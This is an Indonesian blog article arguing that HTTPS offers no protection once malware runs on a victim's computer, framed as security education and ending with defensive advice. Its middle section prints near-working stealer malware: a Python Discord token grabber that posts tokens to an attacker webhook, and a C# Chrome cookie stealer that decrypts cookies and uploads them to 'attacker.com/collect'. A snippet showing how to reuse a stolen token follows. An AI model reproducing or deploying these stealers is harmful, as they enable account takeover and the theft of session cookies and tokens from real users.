HTTPS, TLS, SSL Sudah Tidak Berguna? โ Serangan Endpoint & Token Stealer
๐ HTTPS, TLS, SSL Sudah Tidak Berguna: Karena Peretas Kini Tidak Perlu Menyadap Jalur Transit
โ ๏ธ PERINGATAN KERAS: Artikel ini murni untuk edukasi keamanan siber. Semua contoh payload dan teknik yang ditampilkan hanya untuk memahami cara kerja serangan modern agar kita bisa melindungi diri. Penyalahgunaan informasi ini untuk aktivitas ilegal adalah tanggung jawab pribadi.
1. Pendahuluan: Kematian Man-in-the-Middle Klasik
Dulu, HTTPS, TLS, dan SSL dielu-elukan sebagai tameng utama melawan sniffing di jaringan. Serangan Man-in-the-Middle (MitM) dengan ARP spoofing di kedai kopi benar-benar nyata. Tapi sekarang? Hampir tidak ada peretas waras yang membuang waktu menyadap trafik HTTPS secara langsung. Enkripsi sudah terlalu kuat, dan lebih mudah menyerang titik terlemah: endpoint pengguna.
Realita pahitnya: pengguna dengan sukarela menjalankan .exe palsu yang dikirim lewat Discord, lalu seluruh sesi, token, dan cookie mereka raib. HTTPS tidak melindungi apa pun ketika kunci kerajaan (session token) sudah dicuri dari komputer korban.
2. Bagaimana Cara Kerja HTTPS yang Katanya "Aman"
Secara singkat, HTTPS (HTTP over TLS/SSL) mengenkripsi komunikasi antara browser dan server. Data yang lewat tidak bisa dibaca oleh penyadap. Namun enkripsi hanya terjadi selama transmisi. Begitu data sampai di browser, data didekripsi dan disimpan dalam bentuk plaintext โ termasuk cookie, token otentikasi, dan data sesi.
Di sinilah celah raksasa menganga: peretas tidak perlu melawan enkripsi. Mereka cukup menanam malware yang membaca langsung dari memori atau penyimpanan lokal browser/client yang sudah dalam kondisi terbuka.
3. Ilustrasi Serangan Modern: Fake .exe di Discord
Berikut skenario yang terjadi ribuan kali setiap hari:
- Penyerang menyamar sebagai teman atau bot di Discord, membagikan file
Fortnite_Aimbot.exe atau Discord_Nitro_Generator.exe.
- Korban yang tergiur menjalankan file tersebut (sering kali tanpa deteksi antivirus karena di-obfuscate).
- Malware langsung membaca token Discord dari folder
%appdata%\Discord\Local Storage\leveldb.
- Malware juga menyedot semua cookie browser dari
Cookies SQLite database Chrome/Edge/Firefox.
- Semua data dikirim ke webhook Discord atau server C2 penyerang via HTTPS โ ironisnya, justru menggunakan enkripsi yang sama.
- Dengan token Discord, penyerang mengambil alih akun tanpa perlu password atau 2FA (karena token sudah merepresentasikan sesi yang valid). Dengan cookie browser, mereka membajak sesi Gmail, Facebook, bank, dll.
Hasilnya? HTTPS tidak berperan sedikit pun dalam mencegah kejadian ini. Data dicuri sebelum masuk ke lapisan enkripsi atau setelah didekripsi di sisi klien.
4. Mengapa Token & Cookie Begitu Berharga
Token otentikasi (seperti JWT, session ID, Discord token) adalah pengganti kredensial. Sekali token dicuri, penyerang bisa mengimpersonasi korban tanpa perlu tahu username/password. Cookie sesi (misal .ROBLOSECURITY untuk Roblox, li_at untuk LinkedIn) juga memberikan akses penuh ke akun. Inilah mengapa serangan token grabber dan cookie stealer jauh lebih menguntungkan daripada membobol password.
๐ก Fakta: Banyak layanan masih menerapkan "Remember Me" atau sesi jangka panjang. Cookie dengan flag HttpOnly memang tidak bisa dibaca JavaScript, tapi tetap bisa dibaca langsung dari Cookies database browser jika malware memiliki akses file system. HTTPS sama sekali tidak melindungi file lokal.
5. Contoh Payload Sederhana (Edukasi)
Berikut adalah potongan kode Python yang mendemonstrasikan bagaimana token Discord dapat dicuri. Skrip ini hanya berjalan di komputer yang sudah terinfeksi dan memiliki akses ke folder leveldb Discord.
๐ Python Token Grabber (Discord)
import os
import re
import json
import base64
import sqlite3
from Cryptodome.Cipher import AES
import requestsWEBHOOK_URL = "https://discord.com/api/webhooks/..." # webhook penyerang
def get_discord_token():
tokens = []
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
paths = {
'Discord': roaming + r'\Discord\Local Storage\leveldb',
'Discord Canary': roaming + r'\discordcanary\Local Storage\leveldb',
'Discord PTB': roaming + r'\discordptb\Local Storage\leveldb'
}
for name, path in paths.items():
if not os.path.exists(path):
continue
for file_name in os.listdir(path):
if not file_name.endswith('.ldb') and not file_name.endswith('.log'):
continue
with open(os.path.join(path, file_name), 'r', encoding='utf-8', errors='ignore') as f:
for line in f.readlines():
for regex in (r'[\w-]{24}.[\w-]{6}.[\w-]{27}', r'mfa.[\w-]{84}'):
for match in re.findall(regex, line):
try:
# validasi token (dengan decode JWT)
user_id = base64.b64decode(match.split('.')[0] + '==').decode('utf-8')
tokens.append(match)
except:
pass
return list(set(tokens))
def send_to_webhook(token):
headers = {'Content-Type': 'application/json'}
data = {
"content": f"Token Discord baru ditemukan:\n{token}"
}
requests.post(WEBHOOK_URL, json=data, headers=headers)
if name == "main":
for token in get_discord_token():
send_to_webhook(token)
Cara kerja: Script membaca file .ldb (LevelDB) tempat Discord menyimpan token secara lokal. Token dicocokkan dengan regex standar, lalu dikirim ke webhook. Tanpa perlu password atau 2FA, penyerang langsung login.
๐ฅ๏ธ .NET Cookie Stealer (Chrome)
Payload berikut (dalam C#) menyalin database cookie Chrome, mendekripsi nilai cookie (menggunakan CryptUnprotectData bawaan Windows) dan mengunggahnya ke server.
using System;
using System.Data.SQLite;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;[DllImport("crypt32.dll", SetLastError = true)]
static extern bool CryptUnprotectData(
ref DATA_BLOB pDataIn, string szDataDescr, ref DATA_BLOB pOptionalEntropy,
IntPtr pvReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, int dwFlags, ref DATA_BLOB pDataOut);
// Ambil path cookie Chrome
string cookiePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) +
@"\Google\Chrome\User Data\Default\Cookies";
string tempCookieFile = Path.GetTempFileName();
File.Copy(cookiePath, tempCookieFile, true);
using var conn = new SQLiteConnection($"Data Source={tempCookieFile};");
conn.Open();
var cmd = new SQLiteCommand("SELECT host_key, name, encrypted_value FROM cookies", conn);
var reader = cmd.ExecuteReader();
var sb = new StringBuilder();
while (reader.Read())
{
string host = reader["host_key"].ToString();
string name = reader["name"].ToString();
byte[] encryptedData = (byte[])reader["encrypted_value"];
// dekripsi
DATA_BLOB blobIn = new DATA_BLOB();
blobIn.cbData = encryptedData.Length;
blobIn.pbData = Marshal.AllocCoTaskMem(encryptedData.Length);
Marshal.Copy(encryptedData, 0, blobIn.pbData, encryptedData.Length);
DATA_BLOB blobOut = new DATA_BLOB();
CryptUnprotectData(ref blobIn, null, ref new DATA_BLOB(), IntPtr.Zero, ref new CRYPTPROTECT_PROMPTSTRUCT(), 0, ref blobOut);
byte[] decrypted = new byte[blobOut.cbData];
Marshal.Copy(blobOut.pbData, decrypted, 0, decrypted.Length);
Marshal.FreeCoTaskMem(blobIn.pbData);
Marshal.FreeCoTaskMem(blobOut.pbData);
string value = Encoding.UTF8.GetString(decrypted);
sb.AppendLine($"{host} | {name} = {value}");
}
// Kirim ke C2 (contoh menggunakan HTTP POST)
using (WebClient wc = new WebClient())
wc.UploadString("https://attacker.com/collect", sb.ToString());
Dengan cookie yang sudah didekripsi, penyerang dapat memasukkannya ke browser mereka sendiri menggunakan ekstensi atau curl dan langsung masuk sebagai korban โ tanpa password.
6. Bypass Kredensial Menggunakan Token Curian
Inilah pukulan terakhir yang membuktikan bahwa HTTPS tidak berguna: setelah token Discord atau cookie sesi dicuri, penyerang bisa langsung melewati halaman login. Contohnya:
// Menggunakan token Discord yang dicuri dengan fetch (Node.js)
fetch('https://discord.com/api/v9/users/@me', {
headers: { 'Authorization': 'CURIAN_DISCORD_TOKEN' }
})
.then(r => r.json())
.then(data => console.log(Login sebagai ${data.username}#${data.discriminator}));// Membajak sesi Google dengan cookie SID, HSID, SSID
// Cukup set cookie di browser lalu refresh Gmail.
HTTPS melindungi Authorization header di perjalanan, tetapi jika token sudah dicuri dari ujung klien, penyerang bisa mengirim permintaan yang sama persis lewat koneksi aman mereka sendiri โ dan server akan menganggapnya sah.
7. Distribusi Malware yang Menggelikan
Vektor paling umum:
- Fake cheat/hack game (.exe) di server Discord.
- Tools generator nitro yang meminta pengguna untuk login ulang, padahal mencuri token.
- Software bajakan yang dibungkus dengan stealer.
- File "Proof of Concept" yang dibagikan dengan dalih butuh dijalankan.
- Pesan phising di DM yang mengarahkan ke download "update keamanan".
Semua ini sama sekali tidak peduli apakah situs tujuan menggunakan HSTS, certificate pinning, atau enkripsi ECC. Data dicuri sebelum meninggalkan komputer.
8. Mengapa "HTTPS Tidak Berguna" Sebenarnya Berlebihan
Tentu saja HTTPS masih wajib. Ia melindungi dari penyadapan massal, modifikasi data oleh ISP, dan menjaga privasi saat menggunakan Wi-Fi publik. Tanpa HTTPS, menyadap sandi dan token di jaringan masih mungkin. Namun, klaim bahwa HTTPS adalah solusi keamanan total adalah kebohongan besar jika endpoint tidak dijaga.
Serangan modern membuktikan: jika penyerang sudah bisa mengeksekusi kode di komputer korban, game over. Tidak ada enkripsi yang bisa menyelamatkan data yang disimpan secara lokal.
๐ Pertahanan Realistis: Gunakan autentikasi multifaktor (FIDO2, hardware key), jangan pernah menjalankan file mencurigakan, pisahkan akun penting di perangkat terpisah, dan edukasi pengguna bahwa "free nitro" tidak pernah nyata.
9. Kesimpulan
HTTPS, TLS, SSL adalah fondasi penting, tetapi mereka ibarat gembok di pintu depan sementara jendela belakang terbuka lebar. Di era di mana token sesi dan cookie adalah kunci kerajaan, para peretas tidak repot-repot menyadap jalur transit. Mereka langsung masuk ke kamar Anda, menyalin kunci, lalu berjalan keluar lewat pintu yang sama โ dengan damai.
Jadi, apakah HTTPS tidak berguna? Tidak, tapi kepercayaan buta pada gembok hijau itulah yang benar-benar membunuh keamanan.
Diskusi (0)